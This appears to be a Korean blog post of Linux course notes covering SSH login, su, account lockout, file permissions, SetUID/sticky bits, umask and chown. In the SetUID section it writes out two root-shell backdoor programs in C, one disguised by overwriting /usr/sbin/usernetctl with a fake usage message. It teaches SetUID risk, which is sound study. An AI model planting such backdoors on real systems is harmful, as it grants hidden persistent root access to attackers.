● 원격로그인
- 서버에서 로그인하는 것이 아니라 네트워크를 통해 외부에서 로그인 하는 기능
- 서버에서 ssh 프로그램을 실행하여 원격로그인 할 수 있도록 만들어 준다.
=> sshd를 실행하여 클라이언트가 네트워크 로그인 할 수 있도록 해야된다.
- sshd 실행 방법
1) /etc/ssh/sshd_config 파일을 이용하여 환경 설정 가능
=> root 계정으로 원격로그인 허용 금지 되도록 설정하는 것이 좋다.
]# vi /etc/ssh/sshd_config
....
PermitRootLogin no => 39라인 : 앞에 #를 제거하고 yes를 no로 변경
2) sshd 재실행 => 이미 실행되어 있기 때문에 재실행(새로운 환경설정 파일을 읽어 실행 하기 위해)
]# service sshd restart
3) sshd는 부팅시 자동 실행된다.
]# chkconfig --list | grep sshd => 런레벨에 따른 sshd 실행 유무 확인
런레벨 5번 확인 => 활성(부팅시 자동 실행)
- 클라이언트는 원격접속 프로그램을 이용하여 원격로그인 할 수 있다.
=> putty, SecureCRT등
=> 서버ip 주소 및 port번호를 입력하여 원격접속 후 일반계정으로 로그인
=> su 명령을 이용하여 계정을 변경할 수 있다.
형식) ]$ su 계정명 => 다른 계정으로 변경(암호 입력)
=> 계정명이 생략되면 관리자로 인식
ex) ]$ su => 불완전한 계정 변경
password : 관리자 비밀번호 입력
]# useradd => 명령이 실행 되지 않는다(명령을 찾을 수 없다.)
※ su 명령만 사용하면 계정의 이름만 변경되고 리눅스 환경은 그대로 적용
]# exit => su 종료
]$ su - => 완전한 계정 변경(계정명 및 리눅스 환경이 완벽하게 계정에 맞게 변경)
password : 관리자 비밀번호 입력
]# useradd => 실행
- 현재 로그인 계정 확인
]# whoami => 현재 작업중인 계정 확인
]# who am i => 실제 로그인된 계정 확인
]# id => 작업 계정의 UID 확인
- 현재 로그인 계정 전체 정보 확인
]# users => 로그인 계정명 확인
]# who => 현재 접속중인 계정 확인
]# w => 현재 접속중인 계정 확인(현재 실행중인 프로그램 확인)
]# finger => 다른 서버에 접속 중인 계정 확인
- 계정의 마지막 로그인 날짜 확인 => 휴면계정 파악
]# lastlog
- 로그인 계정에게 메세지 전달
]# wall => 현재 로그인된 모든 사용자에게 메세지를 전달(관리자)
메세지
...
^d => 입력 종료
※ ]# wall 메세지 => 간단한 메세지 전달
]# write 계정명 => 특정 계정에게 메세지를 전달
메세지 => 엔터를 누르면 메세지 전달
...
^C => 명령 취소
]# mesg
is y => y : write 사용 허용 n : write 사용 불가
]# mesg n => write 사용 불가 변경
- 계정 로그인 금지 방법
1) 특정 계정 로그인 금지 방법
]# vi /etc/passwd => 계정 정보를 변경하여 로그인 금지
....
kim:x:501:501::/home/kim:/bin/bash
--------
└ /bin/false 변경
또는 계정명 앞에 *를 붙인다.
]# vi /etc/shadow => 계정의 암호를 비활성화 하여 로그인 금지
kim:!$1$0l726noI$h1h8JBagcQx1yDAK44FjF.:15953:0:30:7:5:16070:
-
└ 암호 앞에 !를 추가
2) 전체 계정 로그인 금지
=> /etc/nologin 파일만 생성하면 된다.
=> root 계정만 로그인 가능
● 리눅스 권한 관리
- 리눅스는 파일에 권한이 부여되어 있다. => 파일 권한
- 파일 권한 확인
]# ls -l ┌ 소유그룹(그룹명)
drwxr-xr-x 2 root root 4096 9월 3 04:23 Desktop
------- --- ---
└ 파일 권한 └ 소유자(계정)
- 권한 해석 => rwx 권한이 3번 반복(권한이 없는 경우 -로 표시)
=> rwxrwxrwx
(1) (2) (3)
1) 소유자 계정에게 적용되는 파일 권한
2) 소유그룹에 포함된 계정에게 적용되는 파일 권한
3) 소유자 및 소유그룹의 계정이 아닌 나머지 계정에게 적용되는 파일 권한
- 권한 종류
파일 디렉토리(명령 사용 유무)
r (read) 파일 내용 확인 유무 읽기 관련 명령 사용 유무(ls, cat, more, grep,...)
w(write) 파일 내용 수정 유무 쓰기 관련 명령 사용 유무(mkdir, rm, cp, mv,...)
x(execute) 파일 내용 실행 유무 접근 권한(cd)
※ 파일에는 w 권한을 부여하기 위해 반드시 r 권한을 부여한다.
※ 디렉토리는 r 또는 w 권한을 부여하기 위해 반드시 x 권한을 부여한다.
- 파일 권한 변경 => 관리자 또는 파일 소유자만 변경 가능
형식) ]# chmod 변경옵션 파일명(디렉토리명)
=> 변경 옵션
1) 변경 적용 대상 : u(소유자권한) g(소유그룹권한)
o(나머지권한) a(모든계정권한)
2) 권한 부여 또는 삭제 유무 : +(권한부여) -(권한삭제) =(권한변경)
3) 권한 종류 : r(read) w(write) x(execute) => 동시 적용 가능
ex) ]# mkdir aaa
]# ls -l
...
drwxr-xr-x 2 root root 4096 10월 3 12:07 aaa
]# chmod g+w aaa => aaa 디렉토리의 소유그룹에 w권한 추가
]# ls -l
...
drwxrwxr-x 2 root root 4096 10월 3 12:07 aaa
]# chmod o-rx aaa => aaa 디렉토리의 나머지에 rx권한 삭제
]# ls -l
...
drwxrwx--- 2 root root 4096 10월 3 12:07 aaa
]# chmod g=rx,o=r aaa
]# ls -l
...
drwxr-xr-- 2 root root 4096 10월 3 12:07 aaa
ex) lee 및 park 계정 생성
lee계정 : /home/lee]$ cd /home/park => 허가 거부(/home/park 디렉토리의 권한 때문)
※ /home/park => drwx------ 3 park park 4096 10월 3 12:13 park
=> lee 계정이 /home/park 디렉토리에 접근하기 위해 park 계정이 권한 변경
park 계정 : /home/park]$ chmod o+x /home/park => x권한 부여
lee계정 : /home/lee]$ cd /home/park => 가능
/home/park]$ ls -l => 허가 거부(r권한이 없기 때문)
park 계정 : /home/park]$ chmod o+r /home/park => r권한 부여
lee계정 : /home/park]$ ls -l => 가능
※ 일반계정의 홈디렉토리는 다른 계정들에게 w 권한을 부여하지 않는것을 권장
- 권한의 8진수 표기법
=> r : 4 w : 2 x : 1 - : 0
ex) rwxr-xr-x => 755
rw-r----- => 640
rwx------ => 700
r-x--x--x => 511
- 8진수 표기법을 이용한 권한 변경
형식) ]# chmod 변경권한 파일명(디렉토리명)
ex) ]# ls -l
...
drwxr-xr-x 2 root root 4096 10월 3 12:07 aaa
]# chmod 700 aaa
]# ls -l
...
drwx------ 2 root root 4096 10월 3 12:07 aaa
문제) wall 명령을 관리자만 사용할 수 있도록 권한을 변경하세요.
]# whereis wall
wall: /usr/bin/wall /usr/share/man/man1/wall.1.gz
]# ls -l /usr/bin/wall
-r-xr-sr-x 1 root tty 10484 9월 18 2008 /usr/bin/wall
]# chmod 500 /usr/bin/wall
]# ls -l /usr/bin/wall
-r-x------ 1 root tty 10484 9월 18 2008 /usr/bin/wall
● 특수권한
SetUID(4000) --S------ : 프로그램을 실행(x) 할 경우 실행계정을 프로그램의 소유자 계정으로 일시 변경
SetGID(2000) -----S--- : 프로그램을 실행(x) 할 경우 실행계정을 프로그램의 소유그룹의 계정으로 일시 변경
Sticky(1000) --------T : 쓰기(w) 권한을 가진 디렉토리에 사용하면 적용된 디렉토리의 삭제는 소유자만 가능하도록 만들어 주는 기능
※ 특수권한이 x권한과 중복된 경우 소문자로 표시
ex) ]# whereis passwd
passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz
※ passwd 명령 : 계정의 비밀번호를 변경하는 명령 => /etc/passwd 파일의 내용을 수정하는 명령
=> 관리자 및 일반계정 모두 사용하는 명령
]# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 22960 7월 17 2006 /usr/bin/passwd
(4755)
=> 모든 계정이 passwd 명령을 실행 할 수 있다.
=> SetUID 권한에 의해 명령을 실행하는 계정은 일시적으로 소유자계정(root)로 변경
]# ls -l /etc/passwd => 계정 정보를 저장하고 있는 파일
-rw-r--r-- 1 root root 1954 10월 3 12:13 /etc/passwd
(644)
=> /etc/passwd 파일은 root 계정만 변경 가능하다.
- setUID 권한을 가지고 있는 파일은 반드시 관리자가 숙지하지고 있어야 된다.
=> SetUID 권한은 보안에 위험하므로 SetUID 권한을 부여하지 않는 것 좋다.
]# find / -type f -perm +4000 -exec ls -l {} \; > setuid.txt
=> SetUID 권한을 가지고 있는 파일을 setuid.txt에 저장
※ 간단한 backdoor 프로그램 작성
]# vi backdoor.c
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
]# gcc -o backdoor backdoor.c => 컴파일 후 실행파일을 생성
]# chmod 4755 backdoor => 파일 소유자 : root
=> kim 계정 로그인
]$ ./backdoor
]# source /etc/profile => 관리자 환경 적용
※ backdoor 프로그램을 숨겨서 실행하는 방법
]# vi backdoor2.c
#include <stdio.h>
int main(int argc,char *argv[]) {
char exec[100];
setuid(0);
setgid(0);
sprintf(exec,"%s 2>/dev/null",argv[1]);
system(exec);
printf("usage: usernetctl <interface-config> <up|down|report>\n");
}
]# gcc -o backdoor2 backdoor2.c
]# chmod 4755 backdoor2
]# mv backdoor2 /usr/sbin/usernetctl => Overwrite
=> kim 계정 로그인
]$ /usr/sbin/usernetctl "/usr/sbin/userdel -r kkk"
ex) sticky 권한을 적용한 공유디렉토리 생성
관리자 ]# mkdir /home/share
]# chmod 777 /home/share
lee 계정 ]$ cd /home/share
]$ mkdir leeData
park 계정 ]$ cd /home/share
]$ rm -rf leeData => 삭제 가능
관리자 ]# chmod 1777 /home/share
lee 계정 ]$ cd /home/share
]$ mkdir leeData
park 계정 ]$ cd /home/share
]$ rm -rf leeData => sticky 권한에 의해 삭제 불가능
● 파일 및 디렉토리 생성 권한
디렉토리 777 755
- 022 (umask) =>
파일 666 644
=> 파일 및 디렉토리는 umask 값에 의해 최초 생성 권한이 적용된다.
ex) ]# mkdir aaaDir
]# touch aaaFile
]# ls -l
drwxr-xr-x 2 root root 4096 10월 3 15:36 aaaDir (755)
-rw-r--r-- 1 root root 0 10월 3 15:36 aaaFile (644)
]# umask
0022
]# umask 002 => umask 변경(현재 로그인 쉘에만 적용)
]# mkdir bbbDir
]# touch bbbFile
]# ls -l
drwxrwxr-x 2 root root 4096 10월 3 15:40 bbbDir (775)
-rw-rw-r-- 1 root root 0 10월 3 15:40 bbbFile (664)
※ 계정 생성시 자동생성된 홈디렉토리의 생성 권한 제어
]# useradd kang
]# ls -l /home
drwx------ 3 kang kang 4096 10월 3 15:44 kang (700)
]# vi /etc/login.defs
....
UAMSK 077 => 홈디렉토리 생성 권한 : 700
076 => 변경 : 홈디렉토리 생성 권한 : 701
]# useradd choi
]# ls -l /home
drwx-----x 3 choi choi 4096 10월 3 16:00 choi (701)
● 파일(디렉토리) 소유자 및 소유그룹 변경
- 관리자만 사용 가능한 명령
형식) ]# chown [-R] 소유자.소유그룹 파일명(디렉토리명)
=> 소유자 및 소유그룹 변경
]# chown [-R] 소유자 파일명(디렉토리명)
=> 소유자 변경
]# chgrp [-R] 소유그룹 파일명(디렉토리명)
=> 소유그룹 변경
※ -R : 디렉토리 소유자 및 소유그룹 변경 시 사용하며 디렉토리 하위 목록들도 변경
ex) 관리자 ]# userdel park => 계정만 삭제
]# ls -l /home => park 디렉토리 존재(소유자 및 소유그룹이 존재하지 않는다.)
lee 계정 ]$ cd /home/park => 디렉토리 권한이 700이면 접근 오류 발생
=> 관리자에게 권한 변경을 요청
관리자 ]# chown -R lee.lee /home/park => 소유자 및 소유그룹 변경
문제) /home/public 디렉토리를 생성하여 scott, james, john 계정만
접근하여 모든 명령을 사용할 수 있도록 권한을 부여하세요.
단, 삭제는 파일(디렉토리) 소유자만 가능하도록 권한을 부여하세요.
=> 계정, 그룹, 권한, 소유자(소유그룹) 관련 명령 활용
'Dev > Dev:: Linux' 카테고리의 다른 글
[Day006] Linux 6일차 - 디스크 용량 제한 (0) | 2013.09.10 |
---|---|
[Day005] Linux 5일차 (0) | 2013.09.10 |
[Day003] Linux 3일차 계정 및 그룹 (0) | 2013.09.05 |
[Day003] Linux 3일차 - vi 문서편집기 (0) | 2013.09.05 |
[Day002] Linux 2일차 (0) | 2013.09.04 |